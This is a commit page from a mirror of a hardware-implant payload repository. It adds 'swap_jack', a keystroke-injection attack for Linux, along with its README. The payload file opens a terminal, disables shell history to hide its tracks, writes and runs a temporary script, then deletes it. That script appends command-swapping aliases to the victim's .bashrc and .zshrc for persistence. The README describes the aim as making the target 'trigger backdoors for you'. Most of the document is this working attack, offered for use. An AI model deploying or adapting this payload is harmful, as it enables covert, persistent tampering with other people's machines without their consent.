hak5
/
omg-payloads
mirror of https://github.com/hak5/omg-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

uploading swap_jack payload 

Simple yet Powerful payload which can be used to replace one command with another on target’s system. swap_jack gives your target capability to trigger backdoors for you.
pull/190/head
drapl0n 2023-07-09 20:02:19 +05:30 committed by GitHub
parent a3a9cce3ff
commit f2f211c7e8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 53 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
payloads/library/execution/swap_jack/README.md Normal file
View File

@ -0,0 +1,25 @@
## About:
* Title: swap_jack
* Description: swap_jack, simple yet powerful payload which can be used to replace one command with another on target's system.
* AUTHOR: drapl0n
* Version: 1.0
* Category: Execution.
* Target: Unix-like operating systems.
* Attackmodes: HID, Storage.
## swap_jack: Simple yet Powerful payload which can be used to replace one command with another on target's system. swap_jack gives your target capability to trigger backdoors for you.
### Features:
1. Swap commands/Execute scripts covertly.
2. Persistent.
3. Can swap multiple commands.
4. Makes your target run commands/script for you.
### Usage:
* To swap custom commands make following changes at line `18` in `payload.sh`:
* Default swaped commands: `swap_array='alias ls=\"du\" \\n alias cd=\"dh\" \\n alias cat=\"lsblk\"'`.
* Example: Swapping `pwd` command with `find`:
* Add entry seperated by `\\n` to the line `18`: `swap_array='alias ls=\"du\" \\n alias cd=\"dh\" \\n alias cat=\"lsblk\"' \\n alias pwd=\"find\"`
#### Support me if you like my work:
* https://twitter.com/drapl0n

28
payloads/library/execution/swap_jack/payload.txt Normal file
View File

@ -0,0 +1,28 @@
REM Title: swap_jack
REM Description: swap_jack, simple yet powerful payload which can be used to replace one command with another on target’s system.
REM AUTHOR: drapl0n
REM Version: 1.0
REM Category: Execution.
REM Target: GNU/Linux.
REM Attackmodes: HID.
DELAY 2000
CTRL ALT t
DELAY 1900
STRING unset HISTFILE
ENTER
DELAY 200
STRING echo -e "#\!/bin/bash\n" > /tmp/sys
ENTER
DELAY 200
STRING echo -e "swap_array='alias ls=\"du\" \\nalias cd=\"df\" \\nalias cat=\"lsblk\"'" >> /tmp/sys
ENTER
DELAY 200
STRING echo -e "\n\n\ls -a ~/ | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"\$swap_array\" >> ~/.zshrc\nfi\n\nls -a ~/ | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"\$swap_array\" >> ~/.bashrc\nfi" >> /tmp/sys
ENTER
DELAY 200
STRING chmod +x /tmp/sys
ENTER
DELAY 200
STRING /tmp/./sys && rm /tmp/sys && exit
ENTER